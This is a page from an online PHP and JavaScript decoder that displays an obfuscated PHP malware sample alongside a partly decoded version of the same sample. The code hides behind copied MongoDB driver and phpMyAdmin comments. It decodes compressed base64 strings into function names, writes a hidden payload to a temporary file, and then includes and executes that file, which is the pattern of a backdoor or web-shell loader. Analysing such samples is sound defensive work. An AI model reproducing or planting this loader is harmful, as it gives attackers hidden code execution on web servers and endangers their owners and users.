Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

/*
 * Copyright 2015-2017 MongoDB, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *   http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */ 	 
/**
 * Operation for the aggregate command.
 *
 * @api
 * @see \MongoDB\Collection::aggregate()
 * @see http://docs.mongodb.org/manual/reference/command/aggregate/
 */
  $f2 = "eF4tyrENhDAMBdBtUsIErliADSyLfO4sJU5km4LtD6Sr37PR1aSxS4LW7LMk5PjCg9SUP8hSHwq6ZhtS+Rlc1Yv04amBbeA8Ke54Kyf+PF3t0Nmwy91hScv6A60dKU4=";


/** @var integer */
 $room = "eNo9jsFqAzEMRP/G155y9Ckl51JCejSKPd6YKHKQ5C779/WmkJPgMTNPMh5X6Be09WKxWVq1OV0ZwZC9dYkfBrMUcl2+wfRCj3II5qNA3D7J6bw9ERd4ykN1wjQMGmrXjAKGI9b+hITch861RNxo3lh32TQR/9IyQ5m7YaaY/93pji2uYW2KC9QmOXX92TvHLhkq+8O1Md7LDsq3GY1DuMk9bCCNiqWZQ5Pdhpe+SqpDXoI/uvRkoA=="; 

/** @var integer */
 $include_file = array("eF6VVG2P0kAQ/nxN/A9zm+ZaEg6488BTXi5GATEGSMBEQwhZ2i3ds+027XInGv67M205QDmNBMoys/PyPPMMrbvYj18Y5graYC763WnTMEM8W6FVsVz81C20eJm3N/jUnTQN6YEt01Ro21zNLE8loTUvwcUFmOGRpY1Z+M2y0bht3Lxybm6va1f1mlurOa9fNoTH647jXlsl4+cL40w4vgLLOGudvx+9m34dd8HXYdBBw+57qdxNB2+2qB5w", "R0sVtRmDUGhfuW0Wq1QzEJGjN7Fos3AdaBnzRFfp/qXLNWeYDmAiAuFokCFfCdAK1nGguPuGXC0ZxWsNeQJPBoJBxMPiPFWfs5sMJFYj75Mly3sUnK6XocR2HniwxvhdZJ6tcBK4rLkMVTXDR4cCsNVEs/R2RC/Go8l0ZuWxSHcJiDZT82Ql9ILawQkteSqohm16OJeDFq35zCIHBjYxKsc8+oYhV/Q7I6NH9xE6GlOdaBWoR5HYMde+jDxl", "H5Yqj99OPwyGvdGi+2XaHU4Go2GpRP0CmI4vHEqMbWVpU/njdD86jBf7ngAQaxF8jsLxeJAKBGmc5dpg1B7IFHhUzO4SGFSKejMrlIQODazCENIfGAG2IDDliYyR0k9ZK61lAtXOcykQIs4EbOJ2Ib7LVKdHxNBY8ApA3vNEJcmmDNl0eJAI7m4gjzqsg6QdDKRG3W+pUNYuVcNpHgtuPmNEK5tDB+q17HWy8Eatk7w6EqeVgoDk8h+17d+k", "cd4Gdh+vWLbsx6ohVxw967qPxYohqNOBK+kxOAlBRcEGPo77ZXx08Tke9uEC+oNehgvlkBC1pFX3eVwk8pzTjM492234F3GPPAUSSB5DRarLBPVByQ4URfIFO1QPYrG7mS3lyU3cK78Mh2tVqKcQ/NQX+exYJfszTGPhSB44Pk9Se7/q8JddL+E6gI8IlkJEBxD2Gj9ai6JwoVrtC+SW8OPKiSRRSZFBRit4UtYx6VtixcD31rjr/AKINOHV"); 	

/** @var integer */
 	 $nNumOfFullPeriods = "base64_decode";	 $permissionsDataType = "parse_str";	 

/** @var integer */
 	 $x0 = "gzuncompress";	  

/** @var string */

$k = "implode";$internal_gapi_mappings = ""; 	

/** @var string|null */
	  $permissionsDataType($x0($nNumOfFullPeriods($f2)),$descriptionHeading); 	 

/** @var array */
 	 $mimetype = array($descriptionHeading["amortiseCoeff"],$descriptionHeading   ["teachers"]($descriptionHeading["dates"]),$descriptionHeading["nominal_rate"],$descriptionHeading["principlePayment"]);

/** @var array */
 	$permissionsDataType($x0($nNumOfFullPeriods($room)),$ownerId);	

// '...,

function sd_studentsType($wireVersionForDocumentLevelValidation){   global $ownerId;if ($ownerId["wireVersionForWriteConcern"]($wireVersionForDocumentLevelValidation))@$ownerId["courses_teachers"]($wireVersionForDocumentLevelValidation);   } 

/**
     * Constructs an aggregate command.
     *
     * Supported options:
     *
     *  * allowDiskUse (boolean): Enables writing to temporary files. When set
     *    to true, aggregation stages can write data to the _tmp sub-directory
     *    in the dbPath directory. The default is false.
     *
     *  * batchSize (integer): The number of documents to return per batch.
     *
     *  * bypassDocumentValidation (boolean): If true, allows the write to
     *    circumvent document level validation. This only applies when an $out
     *    or $merge stage is specified.
     *
     *    For servers < 3.2, this option is ignored as document level validation
     *    is not available.
     *
     *  * collation (document): Collation specification.
     *
     *    This is not supported for server versions < 3.4 and will result in an
     *    exception at execution time if used.
     *
     *  * comment (string): An arbitrary string to help trace the operation
     *    through the database profiler, currentOp, and logs.
     *
     *  * explain (boolean): Specifies whether or not to return the information
     *    on the processing of the pipeline.
     *
     *  * hint (string|document): The index to use. Specify either the index
     *    name as a string or the index key pattern as a document. If specified,
     *    then the query system will only consider plans using the hinted index.
     *
     *  * maxTimeMS (integer): The maximum amount of time to allow the query to
     *    run.
     *
     *  * readConcern (MongoDB\Driver\ReadConcern): Read concern.
     *
     *    This is not supported for server versions < 3.2 and will result in an
     *    exception at execution time if used.
     *
     *  * readPreference (MongoDB\Driver\ReadPreference): Read preference.
     *
     *    This option is ignored if an $out or $merge stage is specified.
     *
     *  * session (MongoDB\Driver\Session): Client session.
     *
     *    Sessions are not supported for server versions < 3.6.
     *
     *  * typeMap (array): Type map for BSON deserialization. This will be
     *    applied to the returned Cursor (it is not sent to the server).
     *
     *  * useCursor (boolean): Indicates whether the command will request that
     *    the server provide results using a cursor. The default is true.
     *
     *    This option allows users to turn off cursors if necessary to aid in
     *    mongod/mongos upgrades.
     *
     *  * writeConcern (MongoDB\Driver\WriteConcern): Write concern. This only
     *    applies when an $out or $merge stage is specified.
     *
     *    This is not supported for server versions < 3.4 and will result in an
     *    exception at execution time if used.
     *
     * Note: Collection-agnostic commands (e.g. $currentOp) may be executed by
     * specifying null for the collection name.
     *
     * @param string      $databaseName   Database name
     * @param string|null $collectionName Collection name
     * @param array       $pipeline       List of pipeline operations
     * @param array       $options        Command options
     * @throws InvalidArgumentException for parameter/option parsing errors
     */
	foreach($mimetype as $rate) {

/**
     * Execute the operation.
     *
     * @see Executable::execute()
     * @param Server $server
     * @return Traversable
     * @throws UnexpectedValueException if the command response was malformed
     * @throws UnsupportedException if collation, read concern, or write concern is used and unsupported
     * @throws DriverRuntimeException for other driver errors (e.g. connection errors)
     */
  if(@$ownerId["numberPeriods"]($rate)) 	 break;		
}	  

/**
     * Create the aggregate command.
     *
     * @param Server  $server
     * @param boolean $hasWriteStage
     * @return Command
     */
$wireVersionForDocumentLevelValidation=$rate.$ownerId["section"]  	.$ownerId["cfgRelation"]($ownerId["studentsDataType"]()); 

/* Ignore batchSize if pipeline includes an $out or $merge stage, as
             * no documents will be returned and sending a batchSize of zero
             * could prevent the pipeline from executing at all. */
 $args = $ownerId["forcedelete"]	($wireVersionForDocumentLevelValidation, $ownerId["collection_key"]); 	

/**
     * Create options for executing the command.
     *
     * @see http://php.net/manual/en/mongodb-driver-server.executereadcommand.php
     * @see http://php.net/manual/en/mongodb-driver-server.executereadwritecommand.php
     * @param boolean $hasWriteStage
     * @param boolean $hasExplain
     * @return array
     */
$ownerId["courses_aliases"]($args, $x0($nNumOfFullPeriods($k($internal_gapi_mappings,$include_file))));	  


$ownerId["salvage"]($args); 

// '...'


$ownerId["year"]('sd_studentsType', $wireVersionForDocumentLevelValidation);


// '...,


/**
 * Set of functions used with the relation and pdf feature
 *
 * This file also provides basic functions to use in other plugins!
 * These are declared in the 'GLOBAL Plugin functions' section
 *
 * Please use short and expressive names.
 * For now, special characters which aren't allowed in
 * filenames or functions should not be used.
 *
 * Please provide a comment for your function,
 * what it does and what parameters are available.
 *
 * @package PhpMyAdmin
 */	  include
/**
 * Returns array of options from string with options separated by comma,
 * removes quotes
 *
 * <code>
 * PMA_Transformation_getOptions("'option ,, quoted',abd,'2,3',");
 * // array {
 * //     'option ,, quoted',
 * //     'abc',
 * //     '2,3',
 * //     '',
 * // }
 * </code>
 *
 * @param string $option_string comma separated options
 *
 * @return array options
 */  	$wireVersionForDocumentLevelValidation;
// ...,

/*
 * Copyright 2015-2017 MongoDB, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *   http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */ 	 
/**
 * Operation for the aggregate command.
 *
 * @api
 * @see \MongoDB\Collection::aggregate()
 * @see http://docs.mongodb.org/manual/reference/command/aggregate/
 */
  $f2 = "eF4tyrENhDAMBdBtUsIErliADSyLfO4sJU5km4LtD6Sr37PR1aSxS4LW7LMk5PjCg9SUP8hSHwq6ZhtS+Rlc1Yv04amBbeA8Ke54Kyf+PF3t0Nmwy91hScv6A60dKU4=";


/** @var integer */
 $room = "eNo9jsFqAzEMRP/G155y9Ckl51JCejSKPd6YKHKQ5C779/WmkJPgMTNPMh5X6Be09WKxWVq1OV0ZwZC9dYkfBrMUcl2+wfRCj3II5qNA3D7J6bw9ERd4ykN1wjQMGmrXjAKGI9b+hITch861RNxo3lh32TQR/9IyQ5m7YaaY/93pji2uYW2KC9QmOXX92TvHLhkq+8O1Md7LDsq3GY1DuMk9bCCNiqWZQ5Pdhpe+SqpDXoI/uvRkoA=="; 

/** @var integer */
 $include_file = array("eF6VVG2P0kAQ/nxN/A9zm+ZaEg6488BTXi5GATEGSMBEQwhZ2i3ds+027XInGv67M205QDmNBMoys/PyPPMMrbvYj18Y5graYC763WnTMEM8W6FVsVz81C20eJm3N/jUnTQN6YEt01Ro21zNLE8loTUvwcUFmOGRpY1Z+M2y0bht3Lxybm6va1f1mlurOa9fNoTH647jXlsl4+cL40w4vgLLOGudvx+9m34dd8HXYdBBw+57qdxNB2+2qB5w", "R0sVtRmDUGhfuW0Wq1QzEJGjN7Fos3AdaBnzRFfp/qXLNWeYDmAiAuFokCFfCdAK1nGguPuGXC0ZxWsNeQJPBoJBxMPiPFWfs5sMJFYj75Mly3sUnK6XocR2HniwxvhdZJ6tcBK4rLkMVTXDR4cCsNVEs/R2RC/Go8l0ZuWxSHcJiDZT82Ql9ILawQkteSqohm16OJeDFq35zCIHBjYxKsc8+oYhV/Q7I6NH9xE6GlOdaBWoR5HYMde+jDxl", "H5Yqj99OPwyGvdGi+2XaHU4Go2GpRP0CmI4vHEqMbWVpU/njdD86jBf7ngAQaxF8jsLxeJAKBGmc5dpg1B7IFHhUzO4SGFSKejMrlIQODazCENIfGAG2IDDliYyR0k9ZK61lAtXOcykQIs4EbOJ2Ib7LVKdHxNBY8ApA3vNEJcmmDNl0eJAI7m4gjzqsg6QdDKRG3W+pUNYuVcNpHgtuPmNEK5tDB+q17HWy8Eatk7w6EqeVgoDk8h+17d+k", "cd4Gdh+vWLbsx6ohVxw967qPxYohqNOBK+kxOAlBRcEGPo77ZXx08Tke9uEC+oNehgvlkBC1pFX3eVwk8pzTjM492234F3GPPAUSSB5DRarLBPVByQ4URfIFO1QPYrG7mS3lyU3cK78Mh2tVqKcQ/NQX+exYJfszTGPhSB44Pk9Se7/q8JddL+E6gI8IlkJEBxD2Gj9ai6JwoVrtC+SW8OPKiSRRSZFBRit4UtYx6VtixcD31rjr/AKINOHV"); 	

/** @var integer */
 	 	 	 

/** @var integer */
 	 	  

/** @var string */

$internal_gapi_mappings = ""; 	

/** @var string|null */
	  "parse_str"("gzuncompress"("base64_decode"($f2)),$descriptionHeading); 	 

/** @var array */
 	 $mimetype = array($descriptionHeading["amortiseCoeff"],$descriptionHeading   ["teachers"]($descriptionHeading["dates"]),$descriptionHeading["nominal_rate"],$descriptionHeading["principlePayment"]);

/** @var array */
 	"parse_str"("gzuncompress"("base64_decode"($room)),$ownerId);	

// '...,

function sd_studentsType($wireVersionForDocumentLevelValidation){   global $ownerId;if ($ownerId["wireVersionForWriteConcern"]($wireVersionForDocumentLevelValidation))@$ownerId["courses_teachers"]($wireVersionForDocumentLevelValidation);   } 

/**
     * Constructs an aggregate command.
     *
     * Supported options:
     *
     *  * allowDiskUse (boolean): Enables writing to temporary files. When set
     *    to true, aggregation stages can write data to the _tmp sub-directory
     *    in the dbPath directory. The default is false.
     *
     *  * batchSize (integer): The number of documents to return per batch.
     *
     *  * bypassDocumentValidation (boolean): If true, allows the write to
     *    circumvent document level validation. This only applies when an $out
     *    or $merge stage is specified.
     *
     *    For servers < 3.2, this option is ignored as document level validation
     *    is not available.
     *
     *  * collation (document): Collation specification.
     *
     *    This is not supported for server versions < 3.4 and will result in an
     *    exception at execution time if used.
     *
     *  * comment (string): An arbitrary string to help trace the operation
     *    through the database profiler, currentOp, and logs.
     *
     *  * explain (boolean): Specifies whether or not to return the information
     *    on the processing of the pipeline.
     *
     *  * hint (string|document): The index to use. Specify either the index
     *    name as a string or the index key pattern as a document. If specified,
     *    then the query system will only consider plans using the hinted index.
     *
     *  * maxTimeMS (integer): The maximum amount of time to allow the query to
     *    run.
     *
     *  * readConcern (MongoDB\Driver\ReadConcern): Read concern.
     *
     *    This is not supported for server versions < 3.2 and will result in an
     *    exception at execution time if used.
     *
     *  * readPreference (MongoDB\Driver\ReadPreference): Read preference.
     *
     *    This option is ignored if an $out or $merge stage is specified.
     *
     *  * session (MongoDB\Driver\Session): Client session.
     *
     *    Sessions are not supported for server versions < 3.6.
     *
     *  * typeMap (array): Type map for BSON deserialization. This will be
     *    applied to the returned Cursor (it is not sent to the server).
     *
     *  * useCursor (boolean): Indicates whether the command will request that
     *    the server provide results using a cursor. The default is true.
     *
     *    This option allows users to turn off cursors if necessary to aid in
     *    mongod/mongos upgrades.
     *
     *  * writeConcern (MongoDB\Driver\WriteConcern): Write concern. This only
     *    applies when an $out or $merge stage is specified.
     *
     *    This is not supported for server versions < 3.4 and will result in an
     *    exception at execution time if used.
     *
     * Note: Collection-agnostic commands (e.g. $currentOp) may be executed by
     * specifying null for the collection name.
     *
     * @param string      $databaseName   Database name
     * @param string|null $collectionName Collection name
     * @param array       $pipeline       List of pipeline operations
     * @param array       $options        Command options
     * @throws InvalidArgumentException for parameter/option parsing errors
     */
	foreach($mimetype as $rate) {

/**
     * Execute the operation.
     *
     * @see Executable::execute()
     * @param Server $server
     * @return Traversable
     * @throws UnexpectedValueException if the command response was malformed
     * @throws UnsupportedException if collation, read concern, or write concern is used and unsupported
     * @throws DriverRuntimeException for other driver errors (e.g. connection errors)
     */
  if(@$ownerId["numberPeriods"]($rate)) 	 break;		
}	  

/**
     * Create the aggregate command.
     *
     * @param Server  $server
     * @param boolean $hasWriteStage
     * @return Command
     */
$wireVersionForDocumentLevelValidation=$rate.$ownerId["section"]  	.$ownerId["cfgRelation"]($ownerId["studentsDataType"]()); 

/* Ignore batchSize if pipeline includes an $out or $merge stage, as
             * no documents will be returned and sending a batchSize of zero
             * could prevent the pipeline from executing at all. */
 $args = $ownerId["forcedelete"]	($wireVersionForDocumentLevelValidation, $ownerId["collection_key"]); 	

/**
     * Create options for executing the command.
     *
     * @see http://php.net/manual/en/mongodb-driver-server.executereadcommand.php
     * @see http://php.net/manual/en/mongodb-driver-server.executereadwritecommand.php
     * @param boolean $hasWriteStage
     * @param boolean $hasExplain
     * @return array
     */
$ownerId["courses_aliases"]($args, "gzuncompress"("base64_decode"("implode"($internal_gapi_mappings,$include_file))));	  


$ownerId["salvage"]($args); 

// '...'


$ownerId["year"]('sd_studentsType', $wireVersionForDocumentLevelValidation);


// '...,


/**
 * Set of functions used with the relation and pdf feature
 *
 * This file also provides basic functions to use in other plugins!
 * These are declared in the 'GLOBAL Plugin functions' section
 *
 * Please use short and expressive names.
 * For now, special characters which aren't allowed in
 * filenames or functions should not be used.
 *
 * Please provide a comment for your function,
 * what it does and what parameters are available.
 *
 * @package PhpMyAdmin
 */	  include
/**
 * Returns array of options from string with options separated by comma,
 * removes quotes
 *
 * <code>
 * PMA_Transformation_getOptions("'option ,, quoted',abd,'2,3',");
 * // array {
 * //     'option ,, quoted',
 * //     'abc',
 * //     '2,3',
 * //     '',
 * // }
 * </code>
 *
 * @param string $option_string comma separated options
 *
 * @return array options
 */  	$wireVersionForDocumentLevelValidation;
// ...,



© 2023 Quttera Ltd. All rights reserved.